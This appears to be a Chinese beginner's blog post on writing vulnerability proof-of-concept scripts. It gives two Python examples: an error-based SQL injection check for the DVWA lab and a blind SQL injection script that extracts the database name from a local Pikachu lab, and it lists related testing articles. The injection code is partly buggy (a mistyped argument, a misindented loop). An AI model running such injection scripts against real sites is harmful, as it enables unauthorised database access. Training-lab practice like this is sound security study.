初探POC编写

简介: 初探POC编写

前言

想锻炼一下编程能力,师兄说以后很重要的,最好学好一点

但是我又想学习安全相关的,那就来练练poc吧

什么是POC

PoC(全称: Proof of Concept), 中文译作概念验证。在安全界,你可以理解成为漏洞验证程序(本教程中,如无特别说明,默认代表漏洞验证程序),当然你要强行说我说的不对,我肯定支持你,反正我没打算反驳你。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。因为是一些代码片段,所以到现在都没看到有一本书来讲怎么编写 PoC 的,因为这些东西对于会写代码的人来说,他们会很惊讶分分钟就会了的事为什么还要出本书。

什么是 Exp

Exp(全称: Exploit),中文叫漏洞利用程序。名字上说的已经很清楚了,简单讲,就是一段可以发挥漏洞价值的程序,这话感觉和没说一样。想象一下这样的场景,目标存在一个 SQL 注入漏洞,然后被你知道了,然后你编写了一个程序,通过这个 SQL 注入漏洞,拿到了目标的权限,那么这个程序就是所谓的 Exp 了,当然,如果你没有使用这个漏洞,它就这么放着,那么这个漏洞,对你来说可以认为是没有价值的。

POC注意事项

  1. 1. 随机性 参数随机(有时候可以不随机)
  2. 2. 通用性 要对一样组件的网站都成立,不能是针对个别网站
  3. 3. 确定性 要明确验证漏洞存在与否

尝试编写第一个POC

dvwa的sql注入poc

这个是要自己在id参数里面添加’

根据返回结果才可以验证出来

import requests
import re
header = {"Cookie":""} 
url = input("请输入url")
r = requests.get(url.header)
res = str(r.content)
if re.search("syntax",res):
    print("存在sql注入")
else:
    print("不存在sql注入")

pikachu sql盲注poc

import requests
import string
url = "http://192.168.186.128/pikachu/vul/sqli/sqli_blind_b.php"
#计算响应包长度
params={"name":"kobe","submit":"查询"}
normalhtmllen = len(requests.get(url=url,params=params).text)
# url2=requests.get(url=url,params=params)
print("the len of HTML:",normalhtmllen)
# print(url2.url)
print("the len of HTML:"+str(normalhtmllen))
#+号要加str()改为字符串
#------------判断数据库名的长度--------------------------------
dbNameLen = 0
while True:
    dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查询"
    #print(dbNameLen_url)
    if len(requests.get(dbNameLen_url).text) == normalhtmllen:
        print("The len of dbName",dbNameLen)
        break
    if dbNameLen == 200:
        print("Error!")
        break
    dbNameLen += 1
#-----------------------------------------------------------------
#---根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名------
    dbName=""
    for i in range(1,9):
        for a in string.ascii_lowercase:
            dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查询"
            #print(dbName_url)
            if len(requests.get(dbName_url).text) == normalhtmllen:
                dbName += a
                print(dbName)

参考

https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=402630401&idx=1&sn=8739dae646ec90ff4c813b14ef7e961f

http://labs.supinfochina.com/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8poc/

https://blog.csdn.net/qq_37622608/article/details/88048847

https://www.cxyzjd.com/article/qqchaozai/103567861

目录
相关文章
|
3天前
|
SQL 测试技术 API
如何编写API接口的自动化测试脚本
本文详细介绍了编写API自动化测试脚本的方法和最佳实践,涵盖确定测试需求、选择测试框架、编写测试脚本(如使用Postman和Python Requests库)、参数化和数据驱动测试、断言和验证、集成CI/CD、生成测试报告及维护更新等内容,旨在帮助开发者构建高效可靠的API测试体系。
|
3月前
|
JSON 测试技术 Go
Go 单元测试完全指南(一)- 基本测试流程
Go 单元测试完全指南(一)- 基本测试流程
34 0
|
5月前
|
测试技术 Go
go的测试编写、断言、性能测试
go的测试编写、断言、性能测试
|
6月前
|
测试技术 API
技巧:我们在编写测试时,应该注意什么
最近项目在测试阶段陆陆续续的测出了一些bug.这个情况刚出现的时候,让笔者很困惑——平时我们的每个feature代码都是跟随着大量**看起来考虑很周全的**case进入代码仓库的,然而事实还是打了我们的脸.故在本文,笔者将会从最近的所学所想来谈谈编写测试的时候我们应该注意什么.
79 3
|
安全 Linux API
​Apache Solr未授权上传漏洞复现及验证POC编写
​Apache Solr未授权上传漏洞复现及验证POC编写
|
Linux 程序员
自己编写高负荷测试的工具
在第一轮测试时,我们通过在LINUX操作系统上,用压缩和解压缩的方法去占用CPU,这样的方法有个弊端,就是比较耗时而且不可控。
|
JavaScript 前端开发 安全
|
前端开发 jenkins 关系型数据库
|
前端开发 测试技术
Cypress系列(12)- Cypress 编写和组织测试用例篇 之 断言
Cypress系列(12)- Cypress 编写和组织测试用例篇 之 断言
374 0
Cypress系列(12)- Cypress 编写和组织测试用例篇 之 断言